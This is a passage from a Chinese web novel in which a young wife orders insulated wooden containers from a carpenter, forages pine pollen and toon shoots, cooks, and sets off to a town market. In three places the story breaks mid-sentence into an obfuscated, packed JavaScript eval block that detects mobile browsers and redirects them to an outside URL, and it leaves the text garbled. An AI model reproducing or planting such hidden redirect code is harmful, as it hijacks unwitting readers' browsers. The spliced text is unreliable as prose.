林材曾经听过几个专门会聊村里八卦的婶子的话,说是徐家提亲后,那丁宝珠十万个不愿意,一气之下竟是撞了墙,昏迷了好几日药石无医,还是去请了杨仙姑才救回来的。 虽然听着倒也符合她的性子,可眼前的人完全不像是以前的那个人了啊? 莫非婶子们说的都是真的?——这丁宝珠真的转性了? 林材心里咕哝着,又看丁宝珠眨巴着眼等着回话,这才清了清嗓说道: “你先说你想做啥吧!” 丁宝珠听他这么讲,也就一边比划着一边解释道: “我想做保温桶,就是中间有夹层的那种,不知道林大叔能不能做?” “咋不能?我木匠手艺都有几十年了,别说是这保温桶,就连那篮、箱、盒都是能做的,只要提前说好样式价钱就行,另外还要付定金才成!” 毕竟关乎自家生意,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659546|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些还是要说明白的。丁宝珠听后也点点头,想了想后,便将自己的设计告诉了林材。 除了保温桶,丁宝珠还想着做保温箱,并且上头是可以推拉盖子的那种,每种容器能保存着不同的吃食,不过她也没有把这件事直接说出来。 林材一听竟然还是个大单,那态度马上又改变了些,琢磨一会儿又道: “你说的这些倒也能做,就是那木头的价钱和手工费嘛……” 丁宝珠笑道: “林大叔先做就是了,我既然来找你做这笔单子,就是想着您是村里唯一手艺好的木匠,也有多年的经验不是?” 先奉承了几句,还没等林材回话,丁宝珠却又像是不经意地插嘴道: “但到底来说,我们也算是一个村的邻里邻居,以后总归是低头不见抬头见,所以这费用嘛……那还是有的能谈的。我是年轻,可是不傻,大不了我可以找我爹来,咱们再合计合计……” “咳咳。”林材顿时感觉自己身上仅剩的半分酒气也醒过来了,连忙笑道,“娘子你说得对,都是邻里邻居的,没必要撕破脸!这价钱还能再商量,就凭我和你爹的交情,我今儿也不多赚你的,就这个数吧——” 笑话,他和丁宏哪来的交情?但他清楚后者却是真的能为闺女提刀上前的人物!再说不管怎样他都是赚的,还不如能屈能伸一下——丁家要避,钱也得赚! 丁宝珠一共要做四个容器,和农具不同,桶子和箱子几乎都是由材料制作而成的,都可以当做家具了,何况一整个的大小也不小,用的木头也多,那价钱也就上升了,最后这些需要二百文钱。 她见这林材也不像故意抬高价了,便给了五十文的订金,又问道: “我们要不要写个字据什么的?” “啊?字据?” 林材得了钱,正想着一会儿再去买点酒喝,却没想到丁宝珠竟然说起了这,便道: “都是村里认识的人,我做木匠到现在,还没写过那玩意儿呢!顶多是有人没钱还尾款,倒是给我写过欠条。不过你也知道,咱们村里识字的人也不多,所以说是写,也就是画画罢了,但那也是有效力的,要是不服,我就拉他见村长去!” “那不如我给你写一个,反正您也能找人看,不怕我作假,有了这个,我们都放心不是?”丁宝珠提议道。 那林材想着丁家还有个去上学的孩子,正是丁宝珠的堂弟,虽说读了几年书也没个响,但肯定比一般人要识字,估摸着丁宝珠是被耳濡目染,也识得几个字了。 “行,不过我这里可没有笔和纸,所以这得娘子你自己写了。” 林材摆摆手,一副随便她的模样,毕竟上林家来都是有求于他,他属于是站在高处被人求的一方,而且订金都拿到手了,他也不怕她变卦。 ……这倒也是。丁宝珠挠挠头想道。村里都没几个人识字的,又怎么可能家家户户都有纸笔呢? 看来她得再回家一趟了。 而丁宝珠离开后,林材进了家门,那林森才小心问道: “爹,她走了?她来干啥?” 林材见到他这样就恼火,但想着收了钱,便暂且按下,哼声道: “来这还能干啥?当然是来做东西了!都已经是嫁了人的,咋还能和你纠缠?还不赶紧去院里干活?” 被林材一顿训斥,林森也只好应了,再灰溜溜地离去。 61. 升级设备(下) 所幸丁宝珠脚程快,不久就回了家,只是她自然也是没有纸笔的,便从屋里拿了几张草纸和自制的炭笔,考虑了会儿,又找了个挎篮,在里面放了什么,这才又重新离开家门。 她这来得快去得也快,再加上看门犬黑虎不在,等屋里的人察觉到时,人早已不在了。 李银屏皱皱眉问道: “刚刚谁进来了?是不是晔儿媳妇?” 徐莹答道: “应该是大嫂,可能是有啥事要去忙吧?” 李银屏心里更是起疑,况且有啥事不能和家里说一声,搞得这样神神秘秘鬼鬼祟祟的? 可丁宝珠没有想那么多,只想着双方有个字据会好些,她也不是不相信林木匠一家,只是在接触到这种关于利益的事时,还是习惯了这么做。 只是这一次,她来到那林家,却发现林材不见了,转而院里坐着的是一个更年轻的男子,正在低头刨着木花。 唔,这应该是林木匠的儿子? 等等……林木匠的儿子?! 丁宝珠一怔,顿时把之前忘得一干二净的事情给想起来了——这小林木匠,不就是原主喜欢的,还为他哐哐撞大墙的人么? 虽然她已经替代原主了,可事情已经发生过,肯定会有点尴尬。但都谈完了,她也不清楚哪里还有木匠,自己的生意也重要,只能硬着头皮上了。 想到这,她朝着院子里喊了一声: “林大叔还在吗?” 林森被这熟悉的嗓音给吓了一跳,竟没想到丁宝珠又返回来了。他下意识地想逃,却也是下意识地回头看了一眼,就突然觉得仿佛被风沙迷眼似地愣在了原地——他笃定那是丁宝珠,可梳着高高的妇髻,露着些许白嫩的颈子,原先高挑的身材似乎瘦了点,更显得秀丽精神,最重要的是,那本来凶神恶煞的神情完全不见了,也和他回忆里的根本不同了。 “你……” 林森一时说不出话,就连想要逃跑的脚步也停下了,午后的阳光大片大片照耀下来,一阵暖融融的,使他奇特地少许心摇神荡起来。 丁宝珠干笑几声,问道: “你爹呢?我找他有事。” “啊?哦……他在的,你、你先进来吧。” 林森回过神,可想起以前丁宝珠干的那些事,他还是保持着怀疑,放下刨子就去屋内了。最后林材出来,那林森却没再出门。 “你还真来了啊。”林森说着,又问,“咋了,你还真想写个字据?莫不是用你那笙哥儿的纸笔了?” 丁宝珠不去提那丁笙,只是笑道: “我拿了我自己做的纸笔来,反正只要有颜色不就成了。林大叔,到时候我们一式两份,你这里一份,我这里也存一份,以后万一出了什么事,这个也好拿出来的。” “哎呦,你这个倒是够规整。” 林材面上这么说,心里却想着这种方法貌似是镇上有的,不然村里哪里会这么正规? 只是这丁宝珠竟然也知道这法子?难不成是从丁宏那学的? 看来自己还真是不能随便应付了——就算没有丁宏,她如今的夫家还是徐家,就徐家那一大一小的体格子,他可拼不过。 他想到这,连忙道: “那就麻烦你写两份了,我就是一大老粗,我那儿子也只是跟着我做木匠,也不识字。” 丁宝珠点点头,就拿着那炭笔在草纸上简单写了信息,比如制作物品、已交付订金和剩下的尾款数目,又问道: “林大叔,你这些东西大约要做多久?” 林材思索片刻才答道: “你这也不是啥精细活,就是我还压着其他人的活儿,总得要一个个来,大概半个多月吧。” 丁宝珠眼眉一挑,这对于她设想的时日实在是相差太多了,只是这年代只能靠人工,况且村里可能又只有林材林森俩父子是木匠,还真只能等着。 幸好现在气温上升了点,不像是初春那样寒凉,不至于刚做好的吃食一挑到村外就要冷却了。 她确定后,便把交货的时间也写了,又重新誊写了份,在自己这份上签了自己的名字,还好她看过许多关于美食的古籍,而那些古籍上多是繁体字,久而久之,她也对繁体字略知一二了。 但林材不会写字,就在拇指上涂了炭粉印在纸上,也就成了。 各自收好,丁宝珠又从挎篮里取出一个小罐子来,又笑道: “辛苦林大叔了,正好我酿了酒,就也算是辛苦费里了,我急着要呢,还请进度适当加快一些。” 一提到酒,林材就就双眼一亮,惊奇道: “娘子,没想到你还会酿酒?” “只是自己尝试的,不一定合您的口味。”丁宝珠谦逊道。 “这有啥的,有酒就好啊。”林材喜道,又朝着屋内喊,“森儿,快把酒壶拿出来!” 丁宝珠抿了抿唇,之前她就若有似无地察觉到林材身上有一抹酒气,想投他喜好不假,可也断定这林材是个嗜酒之人,丁宏和徐翊虽然也喜欢喝酒,可不会像他这样像被酒味给腌过了一样。 林森低着头把酒壶拿出来,一点也不敢看过来,丁宝珠便把自己带来的米酒盛出,又换了笑颜道: “我要做的东西,林大叔可得多费点心啊!” “哎呀,这是当然的,你放心,我保证给你做的又好又结实。” 林材这时候想起,那蒋氏有个女儿,如今嫁了人后就去了县城卖酒去了,指不定家里人也是知晓这法子的,忙不迭保证道。 “那就谢谢林大叔了,那我先回去了哈。” 林材看着丁宝珠离去的身影,啧啧叹道: “没想到这珠姐儿果真变了,也不知那徐家使的啥方法,我都以为是两个人呢。” 林森这才抬眼远远望着那个背影,出了一回神。而林材有了酒,自然要回去接着喝,便又吩咐道: “你小子还发啥呆呢?还不赶紧去做事?珠姐儿这一单可是大单,你把手头上的做好了就去做她的,清楚了没?” “啊?哦……” 林森回过神后答应下来,赶忙又接着在院里刨木花去了。 而丁宝珠回家后不久,徐晔和黑虎也回来了。后者在院里望了望,没见到人,就直接去了灶房。 丁宝珠果然待在灶房里,坐在一个小马扎上择着菜,但现在距离做晚食还有段时辰,所以她动作的速度也是慢慢的,比起在干活,倒更像是在放松。 徐晔把筐子拿过来,说道: “你看看有没有你需要的。” 丁宝珠也习惯了徐晔这种样子,就触着筐边往里一瞧,讶异道: “你不是上山去抓蛇了吗?怎么那么多菌菇笋子?” 徐晔顿了顿,说道: “蛇也是有抓的,但是你不是需要菌菇和笋子么?我顺道就也采了。” 他说完,又像是故意补充似地再道: “再说这些东西在这个时节最容易长了,既然我看到了,那不采白不采,反正我就都拿回来了,也不重。” ……他说话还真喜欢拐弯抹角的! 丁宝珠偷着乐,却也明白对待这种人打直球是最好的,只是这直球打得也要分时候才行,便笑 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先前她已经记住了徐晔带自己去过的地方,所以很快就找到了那松树成群的位置,抬眼一看,那淡黄色的松花仍然还开在尖上,连忙上前去都采下了。 这松花开放时间有限,或许再过几天就要没有了,可是处理过的松花粉却能放置,所以为了将来,她现下能多收集就要多收集些。 花棒之间传来淡香,轻风拂过后,细腻的松花粉犹如浮动的雪粒缓缓飘下。这采集松花棒倒不用像羊肚菌那样细致,但最好也是要轻拿轻放,省得浪费任何一分花粉。 谁知就在她采着松花时,附近的一棵松树忽然也突然晃动了几下,再从后方走出一个人来。 丁宝珠第一眼就瞧着眼熟,随即想起来,这不是邱大夫身旁的那个弟子吗? 就在她卖抹茶红豆凉糕后,虽然她如今卖凉糕的次数不算多了,但没有凉糕,邱大夫的弟子偶尔也会来到摊前,几乎都是背着筐子过来的,没有凉糕买,却也买了那艾团、米酒和酒盏糕等等,也算是熟客。 只是也见过那么多次面了,丁宝珠却好像一直与他是陌生人,就连名字也不清楚,徐家的人又各个身体不错,所以也未有找医者去瞧病的。 那少年见到丁宝珠也是愣了一瞬,但很快就恢复过来,点点头就算是打了招呼了,于是丁宝珠也就接着去采松花。 可那少年过了片刻却又看过来,貌似扭捏了一阵,才过来开口问道: “娘子,你……你也采松花?” 丁宝珠回答道:“是啊,我想采松花做吃食,怎么了?” “唔……”少年又踌躇了须臾,才问道,“娘子,我走了几个地方,也就这还开了一片松花,这松花可是一位很好的药材,能够润心益气,除风止血,过了这时节就没有了,我师父吩咐我要采够数量,所以……” 他铺垫了那么多,丁宝珠倒是立刻就听明白了——他是想要把这剩余的松花带回去。 那少年一直观望着丁宝珠的神色,不等她回话,又连忙道: “我也不是白讨要的,我可以拿我的其他东西和你换!” ……好么,这一老一小连要东西的方法都是一样的! 丁宝珠挑挑眉问: “你用什么换?” 其实他要是直接说了,丁宝珠也不会把所有的松花全都给抢着采了,毕竟目前收集到的松花粉已经足够她做上一阵子的吃食。可既然都讲出口了,她倒是好奇这少年会用啥来交换,便按兵不动。 那少年见有戏,忙又放下自己的背筐,而丁宝珠往里一瞧,就看到里面除了几颗松花,还有一个黑乎乎沾满了泥土的东西…… 62. 香椿煎蛋 丁宝珠对于药材就不是那么精通了,问道: “这是什么?” “这是我刚采的麦冬,也是一味药材,而且也只有这时候才能采到呢。” 提到这个名字,丁宝珠就立刻明白了。这麦冬虽为一种药材,可俗话是说药食同源,这麦冬不仅能做菜,最方便的就是能煎成熟水,又解渴又润肺。 丁宝珠取了那些麦冬后笑道: “行,正好我筐子都要满了,也要回去了,你接着采吧。” 少年道了谢,这时候丁宝珠才知道,原来那少年名叫荆芥,拜了邱大夫为师,也就跟在他身旁学医了。再加上作为医者,用药在所难免,可邱大夫的年纪也是越来越大,虽然看着像是个老顽童,可也不大能健步如飞地去爬山寻药了,于是后者时常会代劳,尤其是采集这松花,更是要费不少力气。 ……真不愧是邱大夫的徒弟,连名字都是随心所欲的药材名啊! 又寒暄了几句,丁宝珠就准备回去继续晒花棒,可就在这时,她忽然听到旁边的草丛上传来几声熟悉的轻吠,转头一看,黑虎就从那里蹦了出来,想直接过来,却又见到生人,那狗脸上就多了一丝戒备。 而在那之后,果然是手拿着叉网的徐晔慢慢走了过来,他撇眼瞧着两人,淡然问道: “你俩在干啥呢?” 丁宝珠没多想,只是答道:“在采松花啊——哦,这是邱大夫的弟子,也在采药,你还在抓蛇吗?” 荆芥的心思要比她敏感得多,自然发觉这情况有点不对劲。况且眼前的人他也认识,正是住在村西边的徐猎户的儿子,那不就是丁宝珠的夫婿吗? 虽说迎亲那日压根没人去恭喜,可这件事到底是早早就传遍了整个村子,荆芥不可能不知晓。 他轻咳了咳,插话道: “娘子,那我先走了。” 说完,他背着筐子就离开了这里——还是采药比较重要些。 丁宝珠看他走了,便也上前问道: “我准备要回去了,你呢?” 徐晔顿了顿,才说: “今天没啥收获,不如一道回去吧,明天就要去赶市了。” 丁宝珠点点头同意了,两人缄默地开始下山。那崎岖的山路上比丁宝珠第一次上山时愈发杂草萋萋,丁宝珠即使穿着布裙,也能感受到那杂草软和的尖端在摩擦着自己的脚踝处。 可她偏头瞧去,却发现徐晔微微耷拉着脸,脚下不是踩着,就轻轻踢着,颇有些不爽的神气。 怎么又无缘无故生起气来了? 丁宝珠想了想后,心里倏忽有了个奇异的念头,其实不太相信,可见他这样显得幼稚地糟蹋着路边的花花草草,她偷偷笑了笑,问道: “徐晔,你是不是吃味了?” 徐晔听了一愣,反问道: “吃味是啥,我也没有吃东西啊?” “此味非彼味!”丁宝珠笑嘻嘻道,“非要说是吃什么味的话……那就是吃醋,你是不是看我和荆芥待在一块儿,就觉得心里有点酸酸的,那可不就是吃醋吗?” 徐晔又愣了一瞬,反应过来后顿时红了温,像有些此地无银地不满叫嚷道: “放屁!我咋可能会那样觉得?你瞎说个啥?” “哦,那你就当做我是放了个屁好了。” 丁宝珠说着,伸手捂了捂嘴,虽是不说话,可反而是哼起小调继续下山去了,徒留徐晔在后方不爽地跺了跺脚,到底仍是跟了上去,心里却不由自主地思绪纷乱起来。 只是之前黑虎好像嗅到了熟人的气味,他一猜就是丁宝珠也在,想着自己今日也没什么进展,就想着去找她,可没想到人是找着了,但好像身边根本不需要人,她自己正和其他人聊得欢呢! 在那一刹间,他心里的确莫名其妙涌上来一股古怪的滋味,可偏偏他不通文墨说不上来,只觉得那味道并不好受。 然而丁宝珠却说那是吃味,甚至和醋相提并论,徐晔想起自己吃过的酸物:青梅、酸萝卜、野果子……可这么回想着,那种滋味要比这些都更浓一点。 况且他还认识那少年,毕竟家里做猎户的,也不是次次都安全满载而归,少不得受点小伤,而村里又只有邱大夫这么一个正经大夫,而大夫身旁的弟子,全村自然皆是差不多认得的。 ……但是他才不承认和她说的一样呢! 徐晔依旧在生着不自觉的闷气,可丁宝珠却在路上发现了些好物。 她抬头望去,一棵树的上方竟然长着密密麻麻红绿相间的嫩叶幼芽儿,随风飘动后,更是挥发出了一股奇特的芳香,原来是香椿。 香椿这东西,有的人爱若珍宝,有的人却视若草芥,虽然那的确属于草木——而丁宝珠就是后一者,但想着眼下这个时节恰巧是那香椿嫩如丝的时候,也是一例上好的野菜,便先放下筐子,爬上树就去采摘。 而从树上往下一看,黑虎都在摇着尾巴扒着树干呢,徐晔却似乎还在发呆,只好喊道: “徐晔,快帮我接一下!” 徐晔回过神,刚抬起头,迎面扑倏倏落下许多叶子来,他抬手一摸,倒也认识这香椿,只好先把心事抛之脑后,转而收集起来。 不知不觉就收了大半筐子的香椿,那浓烈的气味,徐晔却是不讨厌,并且也明白只有这时才是吃这个有着异香的植物的时节。 筐子里用手压了压,徐晔抬头见丁宝珠仍在树上,便喊道: “喂,你可以下来了,上面还能有啥?” “哎呀,我知道了,我这不就下来了嘛……” 丁宝珠缓缓地移下树,然而就在徐晔的目光中,在某一瞬间,她蓦地像是脚底一偏,整个身子都要和周围的树叶那般落下来似的,吓得徐晔连忙往前道: “小心!——” 幸好丁宝珠及时抓紧了树干,才没有直接摔下去,而她往下瞧到徐晔紧张的神情,更是慢悠悠地小心下来,才笑道: “怎么,你这么担心我啊?” 徐晔把头一撇,嘴硬道: “哪有,不过我确实怕你摔下来,毕竟摔伤了还不得花费许多?” 丁宝珠听闻后摇了摇头。 等什么时候徐晔人不在了,恐怕那张嘴都还是在的! 除开松花棒和香椿,她也摘了不少松针和松塔,还有荆芥给自己的那些麦冬,满载而归地回到家后,丁宝珠就去处理这些材料了,连带着那些香椿,也一并收拾了,而灶房里还剩着几个鸡子,正好能一起做了——这两个食材可是天生一对! 丁宝珠采的时候,采的都是最嫩的芽儿,而吃香椿前又必须要先焯几遍水,如此后,那红绿相间的颜色就变为了翠绿。切得细碎后再打鸡子,起锅烧油,煎成一个又大又圆的蛋饼,最后装盘,她还不忘继续切了几刀,这样也方便夹。 而这香椿的气味果然霸道,只做了一道香椿煎蛋,几乎让家里所有的人都闻见了。徐莹徐芝在屋里嗅到了,一个馋涎欲滴,一个皱起眉来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678188|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐芝哭丧着脸道: “天啊,今天咋又吃那东西了!?” “啥叫又,我们上一次吃还是在去年那时呢!”徐莹也不悦起来,“明明闻上去这么香,你多吃点也就习惯了!” “别吵了,这味道也确实浓了点。”旁边的李银屏也蹙眉道,“说实在的,我也闻不惯这味儿!” 这就不是她故意刁难了,而是香椿这东西每次一做,总是有人欢喜有人忧,像是徐家,家里也只有徐莹和徐晔爱吃。 不过这一点在丁宝珠没上餐桌前是不清楚的,只等她也坐下,一家人都动了筷,她才看出来些。 为什么?自然是因为那李银屏清了清嗓,竟然说道: “晔儿媳妇辛苦了,这菜你多吃些。” 好歹丁宝珠还在里面打了最后几颗鸡子,后者瞧了一眼,笑着回答道: “姨母,我不辛苦,不过这菜嘛……还是让喜欢吃的人多动动筷子好。” 幸好不是只有自己不爱吃! 徐晔徐莹听了,也就动筷吃了,后者还不忘称赞丁宝珠的手艺。其实徐晔也觉得好吃,毕竟李银屏不喜欢那气味,最重要的是徐翊也不爱吃,所以往常做的次数很少,他也不主动讲,吃起来也就觉得更美味了。 嗯……一定是因为这样! 吃过互相谦让的一餐,丁宝珠着手开始准备赶市时要卖的吃食了。 这次赶市徐家一家子人都去,赶市这个活动通俗来讲就是交易,按照李银屏的说法,那时候的商品会更加便宜,最适合囤量,所以也早早就计划了去那后要买什么,多数是些日用品和食物。 所以这个时候,徐翊也参加了进来,他力气最大,是充当劳动力的。虽然徐晔也去,但其实徐翊最想让他去与丁宝珠多接触接触,总不能就让后者一个人去做买卖。 而丁宝珠这次做的吃食,基本都和那松树有关:收集在绢袋里的松花粉她用来做了松花酒,松散的花粉可以做松花酿团,至于松针,她也做成了松针汽水。 这些又是时节比较短的吃食,所以她的目标就是在这场市集里将这段日子搜罗到的所有材料都做成吃食,再统统售卖出去,也就大功告成了。 松花团子听起来是个新品,其实就是做好的团子再裹上一层松花粉罢了,但是会多出松花那独特的香气。丁宝珠便选择了先前做团糕的两种馅料——红豆馅和枣泥馅。 她在自家也自己做过水磨糯米粉,徐家也有石磨,加上她做生意要用,所以也做了很多挂在灶房的房梁上,抬手即拿。 糯米粉加水搓成大团子后,再揪成一团子上锅蒸熟,只消一盏茶的功夫就能出锅了。此时的团子呈现着半透明的表皮,热气中也夹杂着一丝浓厚的米香。 在这时一定要趁着热度将那些小团子重新糅合到一起不停地揉搓,这样才能提升团子的韧劲,丁宝珠好几次不得不抬起手捏会儿耳垂降温后才能继续。 团子的基础打好,接下来就简单了。丁宝珠又炒了两锅喷喷甜香的豆沙馅与枣泥馅,趁着团子里还有余温就包进去,又找来自己处理过的松花粉,把团子在里面滚了几滚,让表面上又沾满了细腻的花粉,一个鹅黄色的松花团子也就制作完成了。 丁宝珠好歹已经做了那么多糕点,那速度也快,用了剩余的时间,她就已经做了上百颗,还是徐翊见她始终在灶房里忙活,就叫她出来歇息歇息。 不过作为公公,他也不好直接去讲。况且比起他,显然有更合适的人选。 63. 赶市 徐晔走进灶房里时,那丁宝珠依旧在埋头做着团子,案板上整整齐齐摆着或黄或白的团子,看上去竟连模样都像是相同的。 要不是徐翊嘱咐的他,他大抵是不会如此主动地进来灶房吧。不得不承认,他的确很听前者的话。 但此时早已入了夜幕,鹅绒一般的天空中月明星稀,大概只有农舍里各自饲养的看门犬还没有休息。按理说,徐家里的人也该休息了,更别说明天还要早起去镇上赶市。 丁宝珠听见动静,回头一看,便微笑道: “快过来,尝尝我新做的。” 徐晔顿了顿才低声道: “不用了,晚上吃了积食。” 丁宝珠撇了撇嘴,手上尽是粉末,她一边做着团子一边咕哝道: “这些我可是都要拿去卖的,就连明儿早上都吃不到,过了这村没这店。” 然而这样小的空间,这几句嘟囔声,徐晔不可能听不到,可丁宝珠也并不怕他会说什么。 徐晔听闻后,再看那松花团子柔软可爱,果然起了想尝尝的心思,然而他话都放出去了,又怎么好意思再提?一时间竟然直接立在了原地。 丁宝珠疑惑地又看了眼,问: “你来干啥?——我还有一点就做完了,你先回屋吧。” 她这么说,徐晔偏偏就不那么做,他去角落取了个两个罐子瞧了瞧,回答道: “明天就去镇上了,我提前再看看,以免出了差错。” 这次做生意的可不只是丁宝珠一个,区别不同的是她不知道买家最终是谁,而徐晔的那些东西,早已是订好了买家,只等着去一手交钱一手交货了。 随即双方之间便缄默了起来,丁宝珠看看自己的那些成品,受不住这样沉默,只好洗了手和徐晔回房——反正明天起个大早,她依然能再抽时间准备。 只是回了房,他们也没什么好说的,何况屋里还没有点灯,虽不是伸手不见五指,却也是朦朦胧胧若隐若现,两人各自拆了髻脱了衣鞋就上床睡了,不在话下。 这一次,也不仅仅是丁宝珠独自心里惦着了,关于赶市这件事,村里就没有一个孩子是不心心念念的,唯一能让全村孩子不用鸡叫就能一骨碌准时起床的,恐怕就是这一日了。 等丁宝珠徐晔两人整理好出门后,却发现一家子人都已起了,院里不大的地方更是提前放好了几个大大小小的筐子,不用细说,这大的是大人背的,小的肯定是两个姑娘背的了。 今天虽然要去交易换钱,但最主要的果然还是去买家里需要的用品,于是一家大小齐齐上阵,这回估计是每个人的筐子都要装满才罢休。 “大哥,大嫂,你们起啦?” 徐莹徐芝察觉后出来问道,穿新衣那是新年才有的福利,慢慢也就成为旧衣裳了,可要上街,纵然没有新衣穿,也是洗得干干净净,还好这几日阳光也好。 在清晨的薄雾中,两人脸上却都是写满了兴高采烈四个大字,徐芝迫不及待地又说道: “大哥,大嫂,你们还有事不?没有事的话我们快出发吧!” 要不是还算矜持,她可能都要一边蹦着一边说这话了。 丁宝珠还没回答,那徐莹却像是打着圆场道: “急啥,时辰还早呢,总要一家人都预备好了再走的。” 徐莹知道丁宝珠几乎每天都要早起,都是为了准备吃食,今天要去赶市售卖,肯定要比先前更忙。 丁宝珠笑道: “是啊是啊,你们今天起得可真早,大早上的,吃饱了才有力气去玩嘛!等收拾好了,我们在一块儿去吧。” 徐芝徐莹答应下来,丁宝珠便去了灶房准备早食。 虽说她昨夜说吃不到,但她做了不少团子,也不差那几个,所以在复热那些做好的松花团子后,她又热了几个不沾松花粉的团子,以及一些纯糯米团,都放在一个盘子里端了出去。 这次举家出门,院里就不摆桌了,丁宝珠就将那盘团子端去了徐翊与李银屏的屋里,徐莹和徐芝也在。 然而正不巧,李银屏伸手拿了团子吃,偏偏吃到了一个纯糯米团子,当即就不乐意了,不快道: “你之前做了那么多团子,还炒了那么多馅儿,结果拿过来的都是米团?晔儿媳妇,你未免小气了点吧?” 徐晔听了微微皱眉,也咬了口,一下子就吃到了里面的豆沙馅,想开口,却听丁宝珠笑眯眯道: “姨母,我那些团子是能挣钱的,一个都能值三文钱呢,三文钱都能买多好少米团了?肯定能吃饱,所以有的吃那就不错了!” 徐翊这时候打着圆场道: “好了好了,咱们不是急着要出去吗,这只是垫补垫补而已,去镇上还有别的吃的,再说晔儿媳妇还要抽出空来做吃食呢。” 李银屏一股气没发出来却也只好忍下,转头就不理睬丁宝珠了,而是问徐翊道: “当家的,我们这次咋去镇上?是走着去,还是坐老马家的车?” “这次我们起得早,就走着去吧,路上还有些摊贩,也能看看东西。”徐翊沉吟了会儿再说,“而且我听说老马家的车坏掉了,最近送去老林那修去了,估摸着不只是我们坐不成,还是靠我们的一双脚吧。” “哎呀,那我们得快点出发,不然到时候镇上人挤人的,也不安全。”李银屏蹙眉着,就连方才的团子事件也是不顾了。 丁宝珠记得自己去林家时确实见过一辆木板车,看来那就是所谓的马家的车了,而且一定是她坐过的那辆骡车。 不过走着去倒也没什么,她之后再去镇子上,不也是靠着自己那双脚?何况坐车还需要花销。 于是简单吃过早食,每个人都背上了筐子,唯有徐晔和丁宝珠的筐子里是放得满满的。前者的筐中皆是和蛇相关的物品,丁宝珠则是吃食——筐子不够,扁担再来凑。 徐翊见了,便让徐晔帮忙多拿着些东西,丁宝珠就让他拿着饮品,又给黑虎喂了食让它看家,一家人浩浩荡荡地就出门离家了。 只是这回也不单单是他们家,没走几步路,就能远远见到还有其他人家也相继出门了,其中有不少还带着蹦蹦跳跳的孩子,那心情恐怕与徐莹徐芝没什么两样。 就在这时,丁宝珠路过了丁家,丁家倒是关着大门,可没走几步,她却见到了一个熟悉的人。 原来那是也挑着担子的丁宏,显然徐翊也很认得这个背影,特别还是相熟的人,便不由自主地打起招呼道: “老丁!” 丁宏转过头来,其实第一眼她就见到了丁宝珠,又见其他人大包小包的,笑着问道: “哎呦,老徐,你也去镇上赶市啊?” “是啊,看你这么多人,也是一道儿去的吧?”丁宏也笑道。 李银屏对上丁宏倒是笑脸相迎,寒暄问着: “亲家公,咋也没见到亲家母和你家女儿呢?” 丁宏摇摇头笑道:“我这次去是要做生意的,就不和她们一起走了,她们娘儿几个早就去了!” 他说完,又问道: “看这架势,宝珠,你这是要去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看来这开市才是真正迎来从四面八方过来的人们的时刻,有卖货的,也有来买货的。 丁宝珠心里想着晚了怕是也没地方摆摊,不禁急了些,连脚步也跟着加快了不少。徐晔在旁边发现了,却没说什么,而是默默也迈大了步子。 而今日再到那祥安镇,镇子口处已经有了点人头攒动的架势,李银屏远远见了,板着脸口气严厉地对徐莹徐芝嘱咐道: “你们两个一会儿进去了,一定要抓牢我,不然被人群冲散了,可不是闹着玩的,知道么?” 徐芝徐莹用力点点头,一个抓住了李银屏一边的衣襟。徐翊见状,便也对徐晔和丁宝珠道: “你俩有啥计划不?我们就带着莹儿芝儿去采购了。” 徐晔没出声,只是向着丁宝珠那看去,丁宝珠便道: “爹,我和徐晔都要去镇上卖东西去,我们就分两道走吧。” “也行,而且也不知你们啥时候会卖完,我们分着走会比较好些。”徐翊点头,又对徐晔吩咐道,“晔儿,你去卖完后,就去找你媳妇多帮帮忙,也好快点做完回来。” 徐晔答应道:“知道了,爹。” 李银屏拉着两个女儿,不满道: “行了行了,再等会儿,恐怕连东西也要卖完了,我们快走吧!” 徐翊无奈,这市集才开,就算是镇门也是刚开的,哪会像她说的那样?但想着最开始卖的东西一定是好货,他最后叮嘱了几句,就与李银屏和徐莹徐芝提前进去了。 丁宝珠把那担子换了一边肩膀挑着,也对徐晔说道: “我们走吧?” 徐晔颔首,就与她肩并肩地进了镇里。 64. 松花酿团 进了镇内,徐翊一行人很快不见了踪影,而街道上是川流不息、人山人海,鳞节次比的店铺比往昔也是更早开放了。 熙熙攘攘、软红十丈,尤其是早市时最先开展的早食铺子,新鲜的热气和香味奔腾而来,就连丁宝珠也不禁抽抽鼻子多闻了几下。 听着那洪亮的吆喝声早已响起,丁宝珠觉得现在最主要的就是找一个地方放下担子再摆出摊子来。她与徐晔走了约莫有一炷香的时间,终于看到了一个比较空的窄小位置,而旁边都是有着手推车的贩子。 丁宝珠赶忙三步并两步地上前去,然而才想着放下担子,却听不知从哪里蓦然发出了一声大喝,道: “去去去,这是俺的位置,你占个啥?去找别的地方去!” 丁宝珠回头一瞧,原来是个肩上扛着鼓鼓麻袋的大汉,正怒目圆瞪地看着她,不知道的还以为是被在眼皮子底下抢走了什么宝贝。 丁宝珠还未开口,身边的徐晔却不爽起来,沉声问道: “咋了,这地方被你买了,还就是归了你的不成?” 那大汉往地上啐了一口,挥挥手高声道: 